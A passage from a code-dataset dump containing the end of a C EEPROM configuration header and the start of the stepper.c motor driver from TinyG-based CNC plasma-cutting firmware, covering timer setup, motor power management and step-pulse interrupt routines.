Undefined\n\tEASYMAK_MAQ,\t\t\t\t//!< Easymak\n\tCOMPACTA_MAQ,\t\t\t//!< COMPACTA\n\tMOBILE_MAQ,\t\t\t\t//!< MOBILE\n\tUNIMAQ_MAQ,\t\t\t\t//!< UNIMAQ\n\tTYPE_MAX_MAQ //!< MAQ_TYPE_MAX\n} maq_name;\n\nenum\n{\n\tMODEL_RETA = 0,\n\tMODEL_HELI,\n\tMODEL_MAX\n};\n\ntypedef struct\n{\n\tmaq_name model;\n\tbool crem;\n}maq_st;\n\nenum{\n\tCONFIGVAR_OX = 0, //!< Indice da variavel EEPROM para oxicorte (configVarOx)\n\tCONFIGVAR_PL, //!< Indice da variavel EEPROM para plasma (configVarPl)\n\tCONFIGVAR_JOG, //!< Indice da variavel EEPROM para jog (configVarJog)\n\tCONFIGFLAG, //!< Indice da variavel EEPROM para flags (configFlags)\n\tZEROPIECE,\t\t\t //!< Indice da variavel EEPROM para zero peša (zeroPiece)\n\tCONFIGVAR_MAQ, //!< Indice da variavel EEPROM para config maquina (configVarMaq)\n\tCONFIGVAR_PAR_MAQ, //!< Indice da variavel EEPROM para config parametros maquina (configVarParMaq)\n\tCONFIGVAR_MAX, \t//!<\n};\n\nenum{\n\tJOG_RAPIDO = 0, //!< Indice para jog rapido\n\tJOG_LENTO, //!< Flag da velocidade do THC\n\tJOG_MAX //!< CONFIG_MAX\n};\n\nenum{\n\tMODO_PLASMA = 0, //!< modo plasma\n\tMODO_OXICORTE, //!< modo Oxicorte\n};\n\nenum{\n\tDESABILITADO = 0, //!<\n\tHABILITADO, //!<\n};\n\ntypedef enum\n{\n\tMEM_OK = 0,\n\tMEM_FAIL\n} mem_check;\n\nextern float configVarOx[OX_CONFIG_MAX];\nextern float configVarPl[PL_CONFIG_MAX];\nextern float configVarJog[JOG_MAX];\nextern float configVarMaq[CFG_MAQUINA_MAX - 1]; // retirado o modo maquina\nextern float configVarParMaq[CFG_PAR_MAQ_MAX];\nextern float zeroPiece[3];\nextern uint32_t configFlags[FLAG_MAX];\nextern uint32_t configTHCVel;\nextern maq_st g_maq;\n\n\nvoid eepromInit(void);\nvoid eepromWriteConfig(uint8_t varType);\nvoid eepromReadConfig(uint8_t varType);\nvoid eepromConsistencyCheck(void);\nvoid eepromFormat(void);\nmem_check eepromIntegrityCheck(void);\nvoid machine_type_write(const char * p_str_model,const char * p_str_crem);\nmaq_st check_machine_type(void);\n\n#endif /* INCLUDE_EEPROM_H_ */\n" }, { "alpha_fraction": 0.6552838087081909, "alphanum_fraction": 0.6714386343955994, "avg_line_length": 35.618629455566406, "blob_id": "db3b114b0ca5bf7ff80fe59d94508cb74ea645f5", "content_id": "bb5a7e8a1a54c9e1b67e3c13fa0697020af2606c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 58187, "license_type": "no_license", "max_line_length": 133, "num_lines": 1589, "path": "/src/cnc/stepper.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * stepper.c - stepper motor controls\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart, Jr.\n * Copyright (c) 2013 - 2015 Robert Giseburt\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n/* \tThis module provides the low-level stepper drivers and some related functions.\n *\tSee stepper.h for a detailed explanation of this module.\n */\n\n#include \"tinyg.h\"\n#include \"config.h\"\n#include \"stepper.h\"\n#include \"encoder.h\"\n#include \"planner.h\"\n#include \"report.h\"\n#include \"hardware.h\"\n#include \"text_parser.h\"\n#include \"util.h\"\n#include \"lcd.h\"\n#include \"plasma.h\"\n#include \"switch.h\"\n#include \"settings.h\"\n\n#include \"macros.h\"\n#include \"eeprom.h\"\n\n/**** Allocate structures ****/\n\nstConfig_t st_cfg;\nstPrepSingleton_t st_pre;\nstatic stRunSingleton_t st_run;\nbool isDwell = false;\nextern bool zmoved;\nextern float zmove;\nfloat z_step_pulse;\n/**** Setup local functions ****/\n\nstatic void _load_move(void);\nstatic void _request_load_move(void);\n#ifdef __ARM\nstatic void _set_motor_power_level(const uint8_t motor, const float power_level);\n#endif\n#ifdef __RX\nvoid timer_dda_callback(void *pdata);\nvoid timer_dwell_callback(void *pdata);\nvoid exec_timer_num(void *pdata);\nvoid load_timer_num(void *pdata);\n\n#endif\n// handy macro\n#define _f_to_period(f) (uint16_t)((float)F_CPU / (float)f)\n\n/**** Setup motate ****/\n\n#ifdef __ARM\nusing namespace Motate;\n\nOutputPin<kGRBL_CommonEnablePinNumber> common_enable;\t // shorter form of the above\nOutputPin<kDebug1_PinNumber> dda_debug_pin1;\nOutputPin<kDebug2_PinNumber> dda_debug_pin2;\nOutputPin<kDebug3_PinNumber> dda_debug_pin3;\n\n// Example with prefixed name::\n//Motate::Timer<dda_timer_num> dda_timer(kTimerUpToMatch, FREQUENCY_DDA);// stepper pulse generation\nTimer<dda_timer_num> dda_timer(kTimerUpToMatch, FREQUENCY_DDA);\t\t\t// stepper pulse generation\nTimer<dwell_timer_num> dwell_timer(kTimerUpToMatch, FREQUENCY_DWELL);\t// dwell timer\nTimer<load_timer_num> load_timer;\t\t// triggers load of next stepper segment\nTimer<exec_timer_num> exec_timer;\t\t// triggers calculation of next+1 stepper segment\n\n// Motor structures\ntemplate<pin_number step_num,\t\t\t// Setup a stepper template to hold our pins\n\t\t pin_number dir_num,\n\t\t pin_number enable_num,\n\t\t pin_number ms0_num,\n\t\t pin_number ms1_num,\n\t\t pin_number ms2_num,\n\t\t pin_number vref_num>\n\nstruct Stepper {\n\t/* stepper pin assignments */\n\n\tOutputPin<step_num> step;\n\tOutputPin<dir_num> dir;\n\tOutputPin<enable_num> enable;\n\tOutputPin<ms0_num> ms0;\n\tOutputPin<ms1_num> ms1;\n\tOutputPin<ms2_num> ms2;\n\tPWMOutputPin<vref_num> vref;\n\n\t/* stepper default values */\n\n\t// sets default pwm freq for all motor vrefs (comment line also sets HiZ)\n\tStepper(const uint32_t frequency = 500000) : vref(frequency) {};\n//\tStepper(const uint32_t frequency = 100000) : vref(kDriveLowOnly, frequency) {};\n\n\t/* functions bound to stepper structures */\n\n\tvoid setMicrosteps(const uint8_t microsteps)\n\t{\n\t\tswitch (microsteps) {\n\t\t\tcase ( 1): { ms2=0; ms1=0; ms0=0; break; }\n\t\t\tcase ( 2): { ms2=0; ms1=0; ms0=1; break; }\n\t\t\tcase ( 4): { ms2=0; ms1=1; ms0=0; break; }\n\t\t\tcase ( 8): { ms2=0; ms1=1; ms0=1; break; }\n\t\t\tcase (16): { ms2=1; ms1=0; ms0=0; break; }\n\t\t\tcase (32): { ms2=1; ms1=0; ms0=1; break; }\n\t\t}\n\t};\n\n\tvoid energize(const uint8_t motor)\n\t{\n\t\tif (st_cfg.mot[motor].power_mode != MOTOR_DISABLED) {\n\t\t\tenable.clear();\n\t\t\tst_run.mot[motor].power_state = MOTOR_POWER_TIMEOUT_START;\n\t\t}\n\t};\n};\n\nStepper<kSocket1_StepPinNumber,\n\t\tkSocket1_DirPinNumber,\n\t\tkSocket1_EnablePinNumber,\n\t\tkSocket1_Microstep_0PinNumber,\n\t\tkSocket1_Microstep_1PinNumber,\n\t\tkSocket1_Microstep_2PinNumber,\n\t\tkSocket1_VrefPinNumber> motor_1;\n\nStepper<kSocket2_StepPinNumber,\n\t\tkSocket2_DirPinNumber,\n\t\tkSocket2_EnablePinNumber,\n\t\tkSocket2_Microstep_0PinNumber,\n\t\tkSocket2_Microstep_1PinNumber,\n\t\tkSocket2_Microstep_2PinNumber,\n\t\tkSocket2_VrefPinNumber> motor_2;\n\nStepper<kSocket3_StepPinNumber,\n\t\tkSocket3_DirPinNumber,\n\t\tkSocket3_EnablePinNumber,\n\t\tkSocket3_Microstep_0PinNumber,\n\t\tkSocket3_Microstep_1PinNumber,\n\t\tkSocket3_Microstep_2PinNumber,\n\t\tkSocket3_VrefPinNumber> motor_3;\n\nStepper<kSocket4_StepPinNumber,\n\t\tkSocket4_DirPinNumber,\n\t\tkSocket4_EnablePinNumber,\n\t\tkSocket4_Microstep_0PinNumber,\n\t\tkSocket4_Microstep_1PinNumber,\n\t\tkSocket4_Microstep_2PinNumber,\n\t\tkSocket4_VrefPinNumber> motor_4;\n\nStepper<kSocket5_StepPinNumber,\n\t\tkSocket5_DirPinNumber,\n\t\tkSocket5_EnablePinNumber,\n\t\tkSocket5_Microstep_0PinNumber,\n\t\tkSocket5_Microstep_1PinNumber,\n\t\tkSocket5_Microstep_2PinNumber,\n\t\tkSocket5_VrefPinNumber> motor_5;\n\nStepper<kSocket6_StepPinNumber,\n\t\tkSocket6_DirPinNumber,\n\t\tkSocket6_EnablePinNumber,\n\t\tkSocket6_Microstep_0PinNumber,\n\t\tkSocket6_Microstep_1PinNumber,\n\t\tkSocket6_Microstep_2PinNumber,\n\t\tkSocket6_VrefPinNumber> motor_6;\n\n#endif // __ARM\n\n/************************************************************************************\n **** CODE **************************************************************************\n ************************************************************************************/\nvoid restart_stepper()\n{\n\tmemset(&st_run, 0, sizeof(st_run));\t\t\t// clear all values, pointers and status\n\tstepper_init_assertions();\n R_TMR_CreateOneShot((uint8_t)(1000000/FREQUENCY_SGI),exec_timer_num,TIMER_EXEC);\n R_TMR_CreatePeriodic(2*FREQUENCY_DDA,timer_dda_callback,TIMER_DDA);\n R_TMR_CreateOneShot((uint8_t)(1000000/FREQUENCY_SGI),load_timer_num,TIMER_LOAD);\n // R_CMT_CreatePeriodic(FREQUENCY_DWELL,timer_dwell_callback,&timerDwell);\n R_CMT_Control(timerDwell,CMT_RX_CMD_PAUSE,0);\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_EXEC;\n}\n/*\n * stepper_init() - initialize stepper motor subsystem\n *\n *\tNotes:\n *\t - This init requires sys_init() to be run beforehand\n * \t - microsteps are setup during config_init()\n *\t - motor polarity is setup during config_init()\n *\t - high level interrupts must be enabled in main() once all inits are complete\n */\n/*\tNOTE: This is the bare code that the Motate timer calls replace.\n *\tNB: requires: #include <component_tc.h>\n *\n *\tREG_TC1_WPMR = 0x54494D00;\t\t\t// enable write to registers\n *\tTC_Configure(TC_BLOCK_DDA, TC_CHANNEL_DDA, TC_CMR_DDA);\n *\tREG_RC_DDA = TC_RC_DDA;\t\t\t\t// set frequency\n *\tREG_IER_DDA = TC_IER_DDA;\t\t\t// enable interrupts\n *\tNVIC_EnableIRQ(TC_IRQn_DDA);\n *\tpmc_enable_periph_clk(TC_ID_DDA);\n *\tTC_Start(TC_BLOCK_DDA, TC_CHANNEL_DDA);\n */\n\nvoid stepper_init()\n{\n\tmemset(&st_run, 0, sizeof(st_run));\t\t\t// clear all values, pointers and status\n\tstepper_init_assertions();\n\n#ifdef __AVR\n\t// Configure virtual ports\n\tPORTCFG.VPCTRLA = PORTCFG_VP0MAP_PORT_MOTOR_1_gc | PORTCFG_VP1MAP_PORT_MOTOR_2_gc;\n\tPORTCFG.VPCTRLB = PORTCFG_VP2MAP_PORT_MOTOR_3_gc | PORTCFG_VP3MAP_PORT_MOTOR_4_gc;\n\n\t// setup ports and data structures\n\tfor (uint8_t i=0; i<MOTORS; i++) {\n\t\thw.st_port[i]->DIR = MOTOR_PORT_DIR_gm; // sets outputs for motors & GPIO1, and GPIO2 inputs\n\t\thw.st_port[i]->OUT = MOTOR_ENABLE_BIT_bm;// zero port bits AND disable motor\n\t}\n\t// setup DDA timer\n\tTIMER_DDA.CTRLA = STEP_TIMER_DISABLE;\t\t// turn timer off\n\tTIMER_DDA.CTRLB = STEP_TIMER_WGMODE;\t\t// waveform mode\n\tTIMER_DDA.INTCTRLA = TIMER_DDA_INTLVL;\t\t// interrupt mode\n\n\t// setup DWELL timer\n\tTIMER_DWELL.CTRLA = STEP_TIMER_DISABLE;\t\t// turn timer off\n\tTIMER_DWELL.CTRLB = STEP_TIMER_WGMODE;\t\t// waveform mode\n\tTIMER_DWELL.INTCTRLA = TIMER_DWELL_INTLVL;\t// interrupt mode\n\n\t// setup software interrupt load timer\n\tTIMER_LOAD.CTRLA = LOAD_TIMER_DISABLE;\t\t// turn timer off\n\tTIMER_LOAD.CTRLB = LOAD_TIMER_WGMODE;\t\t// waveform mode\n\tTIMER_LOAD.INTCTRLA = TIMER_LOAD_INTLVL;\t// interrupt mode\n\tTIMER_LOAD.PER = LOAD_TIMER_PERIOD;\t\t\t// set period\n\n\t// setup software interrupt exec timer\n\tTIMER_EXEC.CTRLA = EXEC_TIMER_DISABLE;\t\t// turn timer off\n\tTIMER_EXEC.CTRLB = EXEC_TIMER_WGMODE;\t\t// waveform mode\n\tTIMER_EXEC.INTCTRLA = TIMER_EXEC_INTLVL;\t// interrupt mode\n\tTIMER_EXEC.PER = EXEC_TIMER_PERIOD;\t\t\t// set period\n\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_EXEC;\n\tst_reset();\t\t\t\t\t\t\t\t\t// reset steppers to known state\n#endif // __AVR\n\n#ifdef __ARM\n\t// setup DDA timer (see FOOTNOTE)\n\tdda_timer.setInterrupts(kInterruptOnOverflow | kInterruptOnMatchA | kInterruptPriorityHighest);\n\tdda_timer.setDutyCycleA(0.25);\n\n\t// setup DWELL timer\n\tdwell_timer.setInterrupts(kInterruptOnOverflow | kInterruptPriorityHighest);\n\n\t// setup software interrupt load timer\n\tload_timer.setInterrupts(kInterruptOnSoftwareTrigger | kInterruptPriorityLow);\n\n\t// setup software interrupt exec timer & initial condition\n\texec_timer.setInterrupts(kInterruptOnSoftwareTrigger | kInterruptPriorityLowest);\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_EXEC;\n\n\t// setup motor power levels and apply power level to stepper drivers\n\tfor (uint8_t motor=0; motor<MOTORS; motor++) {\n\t\t_set_motor_power_level(motor, st_cfg.mot[motor].power_level_scaled);\n\t\tst_run.mot[motor].power_level_dynamic = st_cfg.mot[motor].power_level_scaled;\n\t}\n//\tmotor_1.vref = 0.25; // example of how to set vref duty cycle directly. Freq already set to 500000 Hz.\n#endif // __ARM\n\n#ifdef __RX\n R_TMR_CreateOneShot((uint8_t)(1000000/FREQUENCY_SGI),exec_timer_num,TIMER_EXEC);\n R_TMR_CreatePeriodic(2*FREQUENCY_DDA,timer_dda_callback,TIMER_DDA);\n R_TMR_CreateOneShot((uint8_t)(1000000/FREQUENCY_SGI),load_timer_num,TIMER_LOAD);\n R_CMT_CreatePeriodic(FREQUENCY_DWELL,timer_dwell_callback,&timerDwell);\n R_CMT_Control(timerDwell,CMT_RX_CMD_PAUSE,0);\n MOTOR3_STEP = 0;\n\t// setup software interrupt load timer\n\n\t// setup software interrupt exec timer & initial condition\n\n\n\tst_pre.buffer_state = PREP_BUFFER_OWNED_BY_EXEC;\n\tst_reset();\t\t\t\t\t\t\t\t\t// reset steppers to known state\n\n#endif // __RX\n}\n\n/*\n * stepper_init_assertions() - test assertions, return error code if violation exists\n * stepper_test_assertions() - test assertions, return error code if violation exists\n */\n\nvoid stepper_init_assertions()\n{\n\tst_run.magic_end = MAGICNUM;\n\tst_run.magic_start = MAGICNUM;\n\tst_pre.magic_end = MAGICNUM;\n\tst_pre.magic_start = MAGICNUM;\n}\n\nstat_t stepper_test_assertions()\n{\n\tif (st_run.magic_end\t!= MAGICNUM) return (STAT_STEPPER_ASSERTION_FAILURE);\n\tif (st_run.magic_start\t!= MAGICNUM) return (STAT_STEPPER_ASSERTION_FAILURE);\n\tif (st_pre.magic_end\t!= MAGICNUM) return (STAT_STEPPER_ASSERTION_FAILURE);\n\tif (st_pre.magic_start\t!= MAGICNUM) return (STAT_STEPPER_ASSERTION_FAILURE);\n\treturn (STAT_OK);\n}\n\n/*\n * st_runtime_isbusy() - return TRUE if runtime is busy:\n *\n *\tBusy conditions:\n *\t- motors are running\n *\t- dwell is running\n */\n\nuint8_t st_runtime_isbusy()\n{\n\tif (st_run.dda_ticks_downcount == 0) {\n\t\treturn (false);\n\t}\n\treturn (true);\n}\n\n/*\n * st_reset() - reset stepper internals\n */\n\nvoid st_reset()\n{\n\tfor (uint8_t motor=0; motor<MOTORS; motor++) {\n\t\tst_pre.mot[motor].prev_direction = STEP_INITIAL_DIRECTION;\n\t\tst_run.mot[motor].substep_accumulator = 0;\t// will become max negative during per-motor setup;\n\t\tst_pre.mot[motor].corrected_steps = 0;\t\t// diagnostic only - no action effect\n\t}\n\tmp_set_steps_to_runtime_position();\n}\n\n/*\n * st_clc() - clear counters\n */\n\nstat_t st_clc(nvObj_t *nv)\t// clear diagnostic counters, reset stepper prep\n{\n\tst_reset();\n\treturn(STAT_OK);\n}\n\n/*\n * Motor power management functions\n *\n * _deenergize_motor()\t\t - remove power from a motor\n * _energize_motor()\t\t - apply power to a motor\n * _set_motor_power_level()\t - set the actual Vref to a specified power level\n *\n * st_energize_motors()\t\t - apply power to all motors\n * st_deenergize_motors()\t - remove power from all motors\n * st_motor_power_callback() - callback to manage motor power sequencing\n */\n\nstatic uint8_t _motor_is_enabled(uint8_t motor)\n{\n//RXMOD\tuint8_t port;\n//\tswitch(motor) {\n//\t\tcase (MOTOR_1): { port = PORT_MOTOR_1_VPORT.OUT; break; }\n//\t\tcase (MOTOR_2): { port = PORT_MOTOR_2_VPORT.OUT; break; }\n//\t\tcase (MOTOR_3): { port = PORT_MOTOR_3_VPORT.OUT; break; }\n//\t\tcase (MOTOR_4): { port = PORT_MOTOR_4_VPORT.OUT; break; }\n//\t\tdefault: port = 0xff;\t// defaults to disabled for bad motor input value\n//\t}\n//\treturn ((port & MOTOR_ENABLE_BIT_bm) ? 0 : 1);\t// returns 1 if motor is enabled (motor is actually active low)\n\treturn 0;\n}\n\nstatic void _deenergize_motor(const uint8_t motor)\n{\n#ifdef __AVR\n\tswitch (motor) {\n\t\tcase (MOTOR_1): { PORT_MOTOR_1_VPORT.OUT |= MOTOR_ENABLE_BIT_bm; break; }\n\t\tcase (MOTOR_2): { PORT_MOTOR_2_VPORT.OUT |= MOTOR_ENABLE_BIT_bm; break; }\n\t\tcase (MOTOR_3): { PORT_MOTOR_3_VPORT.OUT |= MOTOR_ENABLE_BIT_bm; break; }\n\t\tcase (MOTOR_4): { PORT_MOTOR_4_VPORT.OUT |= MOTOR_ENABLE_BIT_bm; break; }\n\t}\n\tst_run.mot[motor].power_state = MOTOR_OFF;\n#endif\n#ifdef __ARM\n\t// Motors that are not defined are not compiled. Saves some ugly #ifdef code\n\tif (!motor_1.enable.isNull()) if (motor == MOTOR_1) motor_1.enable.set();\t// set disables the motor\n\tif (!motor_2.enable.isNull()) if (motor == MOTOR_2) motor_2.enable.set();\n\tif (!motor_3.enable.isNull()) if (motor == MOTOR_3) motor_3.enable.set();\n\tif (!motor_4.enable.isNull()) if (motor == MOTOR_4) motor_4.enable.set();\n\tif (!motor_5.enable.isNull()) if (motor == MOTOR_5) motor_5.enable.set();\n\tif (!motor_6.enable.isNull()) if (motor == MOTOR_6) motor_6.enable.set();\n\tst_run.mot[motor].power_state = MOTOR_OFF;\n#endif\n}\n\nstatic void _energize_motor(const uint8_t motor)\n{\n\tif (st_cfg.mot[motor].power_mode == MOTOR_DISABLED) {\n\t\t_deenergize_motor(motor);\n\t\treturn;\n\t}\n#ifdef __AVR\n\tswitch(motor) {\n\t\tcase (MOTOR_1): { PORT_MOTOR_1_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm; break; }\n\t\tcase (MOTOR_2): { PORT_MOTOR_2_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm; break; }\n\t\tcase (MOTOR_3): { PORT_MOTOR_3_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm; break; }\n\t\tcase (MOTOR_4): { PORT_MOTOR_4_VPORT.OUT &= ~MOTOR_ENABLE_BIT_bm; break; }\n\t}\n#endif\n#ifdef __ARM\n\t// Motors that are not defined are not compiled. Saves some ugly #ifdef code\n\t//\tcase (MOTOR_1): { motor_1.energize(MOTOR_1); break; }\n\tif (!motor_1.enable.isNull()) if (motor == MOTOR_1) motor_1.energize(MOTOR_1);\n\tif (!motor_2.enable.isNull()) if (motor == MOTOR_2) motor_2.energize(MOTOR_2);\n\tif (!motor_3.enable.isNull()) if (motor == MOTOR_3) motor_3.energize(MOTOR_3);\n\tif (!motor_4.enable.isNull()) if (motor == MOTOR_4) motor_4.energize(MOTOR_4);\n\tif (!motor_5.enable.isNull()) if (motor == MOTOR_5) motor_5.energize(MOTOR_5);\n\tif (!motor_6.enable.isNull()) if (motor == MOTOR_6) motor_6.energize(MOTOR_6);\n#endif\n\tst_run.mot[motor].power_state = MOTOR_POWER_TIMEOUT_START;\n}\n\n/*\n * _set_motor_power_level()\t- applies the power level to the requested motor.\n *\n *\tThe power_level must be a compensated PWM value - presumably one of:\n *\t\tst_cfg.mot[motor].power_level_scaled\n *\t\tst_run.mot[motor].power_level_dynamic\n */\n#ifdef __ARM\nstatic void _set_motor_power_level(const uint8_t motor, const float power_level)\n{\n\t// power_level must be scaled properly for the driver's Vref voltage requirements\n\tif (!motor_1.enable.isNull()) if (motor == MOTOR_1) motor_1.vref = power_level;\n\tif (!motor_2.enable.isNull()) if (motor == MOTOR_2) motor_2.vref = power_level;\n\tif (!motor_3.enable.isNull()) if (motor == MOTOR_3) motor_3.vref = power_level;\n\tif (!motor_4.enable.isNull()) if (motor == MOTOR_4) motor_4.vref = power_level;\n\tif (!motor_5.enable.isNull()) if (motor == MOTOR_5) motor_5.vref = power_level;\n\tif (!motor_6.enable.isNull()) if (motor == MOTOR_6) motor_6.vref = power_level;\n}\n#endif\n\nvoid st_energize_motors()\n{\n\tfor (uint8_t motor = MOTOR_1; motor < MOTORS; motor++) {\n\t\t_energize_motor(motor);\n\t\tst_run.mot[motor].power_state = MOTOR_POWER_TIMEOUT_START;\n\t}\n#ifdef __ARM\n\tcommon_enable.clear();\t\t\t// enable gShield common enable\n#endif\n}\n\nvoid st_deenergize_motors()\n{\n\tfor (uint8_t motor = MOTOR_1; motor < MOTORS; motor++) {\n\t\t_deenergize_motor(motor);\n\t}\n#ifdef __ARM\n\tcommon_enable.set();\t\t\t// disable gShield common enable\n#endif\n}\n\n/*\n * st_motor_power_callback() - callback to manage motor power sequencing\n *\n *\tHandles motor power-down timing, low-power idle, and adaptive motor power\n */\nstat_t st_motor_power_callback() \t// called by controller\n{\n\t// manage power for each motor individually\n\tfor (uint8_t m = MOTOR_1; m < MOTORS; m++) {\n\n\t\t// de-energize motor if it's set to MOTOR_DISABLED\n\t\tif (st_cfg.mot[m].power_mode == MOTOR_DISABLED) {\n\t\t\t_deenergize_motor(m);\n\t\t\tcontinue;\n\t\t}\n\n\t\t// energize motor if it's set to MOTOR_ALWAYS_POWERED\n\t\tif (st_cfg.mot[m].power_mode == MOTOR_ALWAYS_POWERED) {\n\t\t\tif (! _motor_is_enabled(m)) _energize_motor(m);\n\t\t\tcontinue;\n\t\t}\n\n\t\t// start a countdown if MOTOR_POWERED_IN_CYCLE or MOTOR_POWERED_ONLY_WHEN_MOVING\n\t\tif (st_run.mot[m].power_state == MOTOR_POWER_TIMEOUT_START) {\n\t\t\tst_run.mot[m].power_state = MOTOR_POWER_TIMEOUT_COUNTDOWN;\n\t\t\tst_run.mot[m].power_systick = SysTickTimer_getValue() +\n\t\t\t\t\t\t\t\t\t\t\t(st_cfg.motor_power_timeout * 1000);\n\t\t}\n\n\t\t// do not process countdown if in a feedhold\n\t\tif (cm_get_combined_state() == COMBINED_HOLD) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t// do not process countdown if in a feedhold\n\t\tif (cm_get_combined_state() == COMBINED_HOLD) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t// run the countdown if you are in a countdown\n\t\tif (st_run.mot[m].power_state == MOTOR_POWER_TIMEOUT_COUNTDOWN) {\n\t\t\tif (SysTickTimer_getValue() > st_run.mot[m].power_systick ) {\n\t\t\t\tst_run.mot[m].power_state = MOTOR_IDLE;\n\t\t\t\t_deenergize_motor(m);\n sr_request_status_report(SR_TIMED_REQUEST);\t\t// request a status report when motors shut down\n\t\t\t}\n\t\t}\n\t}\n\treturn (STAT_OK);\n}\n\n\n/******************************\n * Interrupt Service Routines *\n ******************************/\n\n/***** Stepper Interrupt Service Routine ************************************************\n * ISR - DDA timer interrupt routine - service ticks from DDA timer\n */\n\n#ifdef __AVR\n/*\n *\tUses direct struct addresses and literal values for hardware devices - it's faster than\n *\tusing indexed timer and port accesses. I checked. Even when -0s or -03 is used.\n */\nISR(TIMER_DDA_ISR_vect)\n{\n\tif ((st_run.mot[MOTOR_1].substep_accumulator += st_run.mot[MOTOR_1].substep_increment) > 0) {\n\t\tPORT_MOTOR_1_VPORT.OUT |= STEP_BIT_bm;\t\t// turn step bit on\n\t\tst_run.mot[MOTOR_1].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\tINCREMENT_ENCODER(MOTOR_1);\n\t}\n\tif ((st_run.mot[MOTOR_2].substep_accumulator += st_run.mot[MOTOR_2].substep_increment) > 0) {\n\t\tPORT_MOTOR_2_VPORT.OUT |= STEP_BIT_bm;\n\t\tst_run.mot[MOTOR_2].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\tINCREMENT_ENCODER(MOTOR_2);\n\t}\n\tif ((st_run.mot[MOTOR_3].substep_accumulator += st_run.mot[MOTOR_3].substep_increment) > 0) {\n\t\tPORT_MOTOR_3_VPORT.OUT |= STEP_BIT_bm;\n\t\tst_run.mot[MOTOR_3].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\tINCREMENT_ENCODER(MOTOR_3);\n\t}\n\tif ((st_run.mot[MOTOR_4].substep_accumulator += st_run.mot[MOTOR_4].substep_increment) > 0) {\n\t\tPORT_MOTOR_4_VPORT.OUT |= STEP_BIT_bm;\n\t\tst_run.mot[MOTOR_4].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\tINCREMENT_ENCODER(MOTOR_4);\n\t}\n\n\t// pulse stretching for using external drivers.- turn step bits off\n\tPORT_MOTOR_1_VPORT.OUT &= ~STEP_BIT_bm;\t\t\t\t// ~ 5 uSec pulse width\n\tPORT_MOTOR_2_VPORT.OUT &= ~STEP_BIT_bm;\t\t\t\t// ~ 4 uSec\n\tPORT_MOTOR_3_VPORT.OUT &= ~STEP_BIT_bm;\t\t\t\t// ~ 3 uSec\n\tPORT_MOTOR_4_VPORT.OUT &= ~STEP_BIT_bm;\t\t\t\t// ~ 2 uSec\n\n\tif (--st_run.dda_ticks_downcount != 0) return;\n\n\tTIMER_DDA.CTRLA = STEP_TIMER_DISABLE;\t\t\t\t// disable DDA timer\n\t_load_move();\t\t\t\t\t\t\t\t\t\t// load the next move\n}\n#endif // __AVR\n\n#ifdef __ARM\n/*\n *\tThis interrupt is really 2 interrupts. It fires on timer overflow and also on match.\n *\tOverflow interrupts are used to set step pins, match interrupts clear step pins.\n *\tThis way the duty cycle of the stepper pulse can be controlled by setting the match value.\n *\n *\tNote that the motor_N.step.isNull() tests are compile-time tests, not run-time tests.\n *\tIf motor_N is not defined that if{} clause (i.e. that motor) drops out of the complied code.\n */\nnamespace Motate {\t\t\t// Must define timer interrupts inside the Motate namespace\nMOTATE_TIMER_INTERRUPT(dda_timer_num)\n{\n// dda_debug_pin1 = 1;\n\tuint32_t interrupt_cause = dda_timer.getInterruptCause();\t// also clears interrupt condition\n\n\tif (interrupt_cause == kInterruptOnOverflow) {\n\n\t\tif (!motor_1.step.isNull() && (st_run.mot[MOTOR_1].substep_accumulator += st_run.mot[MOTOR_1].substep_increment) > 0) {\n\t\t\tmotor_1.step.set();\t\t// turn step bit on\n\t\t\tst_run.mot[MOTOR_1].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_1);\n\t\t}\n\t\tif (!motor_2.step.isNull() && (st_run.mot[MOTOR_2].substep_accumulator += st_run.mot[MOTOR_2].substep_increment) > 0) {\n\t\t\tmotor_2.step.set();\n\t\t\tst_run.mot[MOTOR_2].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_2);\n\t\t}\n\t\tif (!motor_3.step.isNull() && (st_run.mot[MOTOR_3].substep_accumulator += st_run.mot[MOTOR_3].substep_increment) > 0) {\n\t\t\tmotor_3.step.set();\n\t\t\tst_run.mot[MOTOR_3].substep_accumulator -= st_run.dda_ticks_X_substeps;\n\t\t\tINCREMENT_ENCODER(MOTOR_3);\n\t\t}\n\t\tif (!motor_4.step.isNull() && (st_run.mot[MOTOR_4].substep_accumulator += st_run.mot[MOTOR_4].substep_increment) > 0) 